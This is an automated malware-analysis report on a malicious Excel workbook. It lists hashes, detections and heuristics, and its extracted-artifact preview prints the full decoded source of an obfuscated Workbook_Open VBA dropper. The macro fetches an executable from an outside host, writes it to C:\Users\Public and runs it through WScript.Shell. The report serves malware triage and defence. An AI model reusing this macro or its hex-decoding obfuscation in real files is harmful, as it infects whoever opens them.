Office (OOXML) malware analysis — malicious · 27fa7d56700d70b5

MALICIOUS

Office (OOXML)

118.5 KB First seen: 2020-09-07

MD5: 9f4f5258bdb83ea807b5bada155d4317 SHA-1: 7874c3d8b1fbf07b7b5623db504e3ef277355851 SHA-256: 27fa7d56700d70b5702db1e7df92689d64733e9f3e568bdfb07bd712e4a76d4d

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains a Workbook_Open VBA macro that is obfuscated and designed to execute automatically. This macro uses CreateObject to download a file from the URL "http://titomaniaacc.it/price.exe" and save it for execution. This indicates a downloader or dropper functionality.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.

Matched line in script

rrzrlhvbwnyjqbgdfbnjcfaghhypyyhmfgaxnmryudpqgviddzhgmhfmrsjeigdygmdkaiqskppypkamyumyraayaogvdmpozrkurxcujowxrgwgrwfotfhflejlcvpxzbzyaguarrpcecgusadghb.write zxymbvsvlbvxvcuqjriuslhxdogikjfluohmoddetgnzbncyoesuiuioqajmpkkcwjcguhcgodamxhvqmitgqkdzgtwntrpiwldrkwdhclgeuwqjftahrelmgdabkpnxospmddfqfmdeeyfkdmharh.responseBody

Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set zxymbvsvlbvxvcuqjriuslhxdogikjfluohmoddetgnzbncyoesuiuioqajmpkkcwjcguhcgodamxhvqmitgqkdzgtwntrpiwldrkwdhclgeuwqjftahrelmgdabkpnxospmddfqfmdeeyfkdmharh = CreateObject(mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set zxymbvsvlbvxvcuqjriuslhxdogikjfluohmoddetgnzbncyoesuiuioqajmpkkcwjcguhcgodamxhvqmitgqkdzgtwntrpiwldrkwdhclgeuwqjftahrelmgdabkpnxospmddfqfmdeeyfkdmharh = CreateObject(mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	8813 bytes
SHA-256: `d99cd1ddfc448cb8a3caa5e7b1be912b58a71b6292e34520a10531095be1a61b`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 41 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select pfeejrlsivcbhnbbuotvmbytyrpvbqxlqusjissahuizimpckhfgogenhkgrbqrrxrknustbvsnssyklbnktlrxkpebxmayrdqbrcchsoekvtmviauqofxggtaxqqvpuuvpcwtjyfsfggcqdjtxrkj"68 74 74 70 3A 2F 2F 74 69 74 6F 6D 61 6E 69 61 63 63 6F 2E 69 74 2F 70 72 69 63 65 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub pfeejrlsivcbhnbbuotvmbytyrpvbqxlqusjissahuizimpckhfgogenhkgrbqrrxrknustbvsnssyklbnktlrxkpebxmayrdqbrcchsoekvtmviauqofxggtaxqqvpuuvpcwtjyfsfggcqdjtxrkj (yqulkkovljecopiaobggdpzeyjlhqudhlkjuzmwupljhluniluzlxawjrpnbygeqgwregoabelqrfrtdvdwvvrjknzcjzvvjgtbocjbxtxgljedzwjgukjuonhqglrcjqhkmqealbybxkyaivcmqpb As String) Dim zxymbvsvlbvxvcuqjriuslhxdogikjfluohmoddetgnzbncyoesuiuioqajmpkkcwjcguhcgodamxhvqmitgqkdzgtwntrpiwldrkwdhclgeuwqjftahrelmgdabkpnxospmddfqfmdeeyfkdmharh Range("A6:J13").Select Dim rrzrlhvbwnyjqbgdfbnjcfaghhypyyhmfgaxnmryudpqgviddzhgmhfmrsjeigdygmdkaiqskppypkamyumyraayaogvdmpozrkurxcujowxrgwgrwfotfhflejlcvpxzbzyaguarrpcecgusadghb Range("A6:J13").Select Dim uukeinoqsozyxqhygkcewcqeajyptbriqygeovyhmbyadgfpmtttecfsefeyozxqwqizkckklusvdpbudicziyensnairzsndienxffkjjhjjkpoekvgwxiylugwcbtlbervlnwxcsqzqueiylegem Range("A6:J13").Select Set zxymbvsvlbvxvcuqjriuslhxdogikjfluohmoddetgnzbncyoesuiuioqajmpkkcwjcguhcgodamxhvqmitgqkdzgtwntrpiwldrkwdhclgeuwqjftahrelmgdabkpnxospmddfqfmdeeyfkdmharh = CreateObject(mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set zxymbvsvlbvxvcuqjriuslhxdogikjfluohmoddetgnzbncyoesuiuioqajmpkkcwjcguhcgodamxhvqmitgqkdzgtwntrpiwldrkwdhclgeuwqjftahrelmgdabkpnxospmddfqfmdeeyfkdmharh = CreateObject(mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set zxymbvsvlbvxvcuqjriuslhxdogikjfluohmoddetgnzbncyoesuiuioqajmpkkcwjcguhcgodamxhvqmitgqkdzgtwntrpiwldrkwdhclgeuwqjftahrelmgdabkpnxospmddfqfmdeeyfkdmharh = CreateObject(mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set zxymbvsvlbvxvcuqjriuslhxdogikjfluohmoddetgnzbncyoesuiuioqajmpkkcwjcguhcgodamxhvqmitgqkdzgtwntrpiwldrkwdhclgeuwqjftahrelmgdabkpnxospmddfqfmdeeyfkdmharh = CreateObject(mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set rrzrlhvbwnyjqbgdfbnjcfaghhypyyhmfgaxnmryudpqgviddzhgmhfmrsjeigdygmdkaiqskppypkamyumyraayaogvdmpozrkurxcujowxrgwgrwfotfhflejlcvpxzbzyaguarrpcecgusadghb = CreateObject(mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set uukeinoqsozyxqhygkcewcqeajyptbriqygeovyhmbyadgfpmtttecfsefeyozxqwqizkckklusvdpbudicziyensnairzsndienxffkjjhjjkpoekvgwxiylugwcbtlbervlnwxcsqzqueiylegem = CreateObject(mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) habwfgywsbjzrgrfflzemoltunrmfjuawnvobqxjsscyfmbxfqfryyitohcsomqihiddkddoopmumnoilthpddbxecztofugbtqwixncnrdjmohbtuguebeeggyidjzjugsswrzogebmzskqvxzuya = mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg(yqulkkovljecopiaobggdpzeyjlhqudhlkjuzmwupljhluniluzlxawjrpnbygeqgwregoabelqrfrtdvdwvvrjknzcjzvvjgtbocjbxtxgljedzwjgukjuonhqglrcjqhkmqealbybxkyaivcmqpb) bzompcyeydruogwofcusnazseovingjfkufsejbxpcgyufedtgsxzgmbzwhbgqqrtljtbdkvbxcltbxzkrpgnmfdieshcarzlpeivkcqwwwceahyyirobjdhgglxkctafdaexodzpyjrqdzhwujtic = mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 6C 6C 65 75 72 67 71 6E 6E 61 6B 6B 64 7A 76 77 66 69 6B 2e 65 78 65") yblwcozefudvwaadajeszcamrchdbpszrdeysamozktoougyhstzpqdwbyfahwdpbddtwclaxpsoilywvjvivtkbziwtumhcgdmkrncfhtczyonqaieyautitctnfrflipheynfhgqbcqkclvgtlhi = mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 6C 6C 65 75 72 67 71 6E 6E 61 6B 6B 64 7A 76 77 66 69 6B 2e 65 78 65") zxymbvsvlbvxvcuqjriuslhxdogikjfluohmoddetgnzbncyoesuiuioqajmpkkcwjcguhcgodamxhvqmitgqkdzgtwntrpiwldrkwdhclgeuwqjftahrelmgdabkpnxospmddfqfmdeeyfkdmharh.Open chr(71) + chr(69) + chr(84), habwfgywsbjzrgrfflzemoltunrmfjuawnvobqxjsscyfmbxfqfryyitohcsomqihiddkddoopmumnoilthpddbxecztofugbtqwixncnrdjmohbtuguebeeggyidjzjugsswrzogebmzskqvxzuya, False zxymbvsvlbvxvcuqjriuslhxdogikjfluohmoddetgnzbncyoesuiuioqajmpkkcwjcguhcgodamxhvqmitgqkdzgtwntrpiwldrkwdhclgeuwqjftahrelmgdabkpnxospmddfqfmdeeyfkdmharh.send rrzrlhvbwnyjqbgdfbnjcfaghhypyyhmfgaxnmryudpqgviddzhgmhfmrsjeigdygmdkaiqskppypkamyumyraayaogvdmpozrkurxcujowxrgwgrwfotfhflejlcvpxzbzyaguarrpcecgusadghb.Type = 1 rrzrlhvbwnyjqbgdfbnjcfaghhypyyhmfgaxnmryudpqgviddzhgmhfmrsjeigdygmdkaiqskppypkamyumyraayaogvdmpozrkurxcujowxrgwgrwfotfhflejlcvpxzbzyaguarrpcecgusadghb.Open rrzrlhvbwnyjqbgdfbnjcfaghhypyyhmfgaxnmryudpqgviddzhgmhfmrsjeigdygmdkaiqskppypkamyumyraayaogvdmpozrkurxcujowxrgwgrwfotfhflejlcvpxzbzyaguarrpcecgusadghb.write zxymbvsvlbvxvcuqjriuslhxdogikjfluohmoddetgnzbncyoesuiuioqajmpkkcwjcguhcgodamxhvqmitgqkdzgtwntrpiwldrkwdhclgeuwqjftahrelmgdabkpnxospmddfqfmdeeyfkdmharh.responseBody rrzrlhvbwnyjqbgdfbnjcfaghhypyyhmfgaxnmryudpqgviddzhgmhfmrsjeigdygmdkaiqskppypkamyumyraayaogvdmpozrkurxcujowxrgwgrwfotfhflejlcvpxzbzyaguarrpcecgusadghb.savetofile bzompcyeydruogwofcusnazseovingjfkufsejbxpcgyufedtgsxzgmbzwhbgqqrtljtbdkvbxcltbxzkrpgnmfdieshcarzlpeivkcqwwwceahyyirobjdhgglxkctafdaexodzpyjrqdzhwujtic, 2 uukeinoqsozyxqhygkcewcqeajyptbriqygeovyhmbyadgfpmtttecfsefeyozxqwqizkckklusvdpbudicziyensnairzsndienxffkjjhjjkpoekvgwxiylugwcbtlbervlnwxcsqzqueiylegem.Run yblwcozefudvwaadajeszcamrchdbpszrdeysamozktoougyhstzpqdwbyfahwdpbddtwclaxpsoilywvjvivtkbziwtumhcgdmkrncfhtczyonqaieyautitctnfrflipheynfhgqbcqkclvgtlhi End Sub Public Function mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg(ByVal qgzfbczjhhpwhftudqnxdegjhqqyxrxngpokvfmtytkijunyoehnshimzpykmalqkcpsriyyeuyktyamdrjtjjuzhbkggbhyhuyhfuhggjjyiysbpmhuqsgaiplpysrcmaczasgijdnzavrijjqutn As String) As String Dim hpnxzpjshnsgmhvsbwfzkmehamycfobwjytmmdtqyrvzhtjjnritpudulgwmrhntlvxnnifxcoatrezgdopogigovzbgghzrecnlwvwelkqbujdggpjdsymdpirohzrvojoornkhskcwrfulwvzqxw As String Dim zfqkwnehwmsvmluoptfckhvqljofsmzaxsjjygqwdlnqdwsjrhgglvlrjaynzyokmrxublqidiyztfmpreolftpcgszyidxfwddmzyifryddwmxenivujdetcunilrzzktdqbaqtwithplfuuvkzhd As String Dim vsyjjekzuzydsdjgcnscxakweqptnphzshylsrqmixoujmsclnswgefuibfsorleryklexokxguampnrymizwlsocddqmxxrljckchxnzizajfisooubjligfwjbuxyzjdodncpqpuaomsewvkcxdv As Long For vsyjjekzuzydsdjgcnscxakweqptnphzshylsrqmixoujmsclnswgefuibfsorleryklexokxguampnrymizwlsocddqmxxrljckchxnzizajfisooubjligfwjbuxyzjdodncpqpuaomsewvkcxdv = 1 To Len(qgzfbczjhhpwhftudqnxdegjhqqyxrxngpokvfmtytkijunyoehnshimzpykmalqkcpsriyyeuyktyamdrjtjjuzhbkggbhyhuyhfuhggjjyiysbpmhuqsgaiplpysrcmaczasgijdnzavrijjqutn)Step 3 hpnxzpjshnsgmhvsbwfzkmehamycfobwjytmmdtqyrvzhtjjnritpudulgwmrhntlvxnnifxcoatrezgdopogigovzbgghzrecnlwvwelkqbujdggpjdsymdpirohzrvojoornkhskcwrfulwvzqxw = Chr$(Val("&H" & Mid$(qgzfbczjhhpwhftudqnxdegjhqqyxrxngpokvfmtytkijunyoehnshimzpykmalqkcpsriyyeuyktyamdrjtjjuzhbkggbhyhuyhfuhggjjyiysbpmhuqsgaiplpysrcmaczasgijdnzavrijjqutn, vsyjjekzuzydsdjgcnscxakweqptnphzshylsrqmixoujmsclnswgefuibfsorleryklexokxguampnrymizwlsocddqmxxrljckchxnzizajfisooubjligfwjbuxyzjdodncpqpuaomsewvkcxdv, 2))) zfqkwnehwmsvmluoptfckhvqljofsmzaxsjjygqwdlnqdwsjrhgglvlrjaynzyokmrxublqidiyztfmpreolftpcgszyidxfwddmzyifryddwmxenivujdetcunilrzzktdqbaqtwithplfuuvkzhd = zfqkwnehwmsvmluoptfckhvqljofsmzaxsjjygqwdlnqdwsjrhgglvlrjaynzyokmrxublqidiyztfmpreolftpcgszyidxfwddmzyifryddwmxenivujdetcunilrzzktdqbaqtwithplfuuvkzhd & hpnxzpjshnsgmhvsbwfzkmehamycfobwjytmmdtqyrvzhtjjnritpudulgwmrhntlvxnnifxcoatrezgdopogigovzbgghzrecnlwvwelkqbujdggpjdsymdpirohzrvojoornkhskcwrfulwvzqxw Next vsyjjekzuzydsdjgcnscxakweqptnphzshylsrqmixoujmsclnswgefuibfsorleryklexokxguampnrymizwlsocddqmxxrljckchxnzizajfisooubjligfwjbuxyzjdodncpqpuaomsewvkcxdv mgjvxcfrbsoqaxwslglsjnraarjtgxyxkkjjsbvhtnqmrpbsgrhqgrayojvg = zfqkwnehwmsvmluoptfckhvqljofsmzaxsjjygqwdlnqdwsjrhgglvlrjaynzyokmrxublqidiyztfmpreolftpcgszyidxfwddmzyifryddwmxenivujdetcunilrzzktdqbaqtwithplfuuvkzhd End Function Attribute VB_Name = "cmkeroupaqnqrigirmdwrktrriziryx" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	9728 bytes
SHA-256: `dac315418e0becaa096a2231e03ee5b54189f99bb0309bbcac7605e9713d165c`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 218 of 337 identifiers look randomly generated (e.g. 'cmkeroupaqnqrigirmdwrktrriziryx') — consistent with name-mangling obfuscation.

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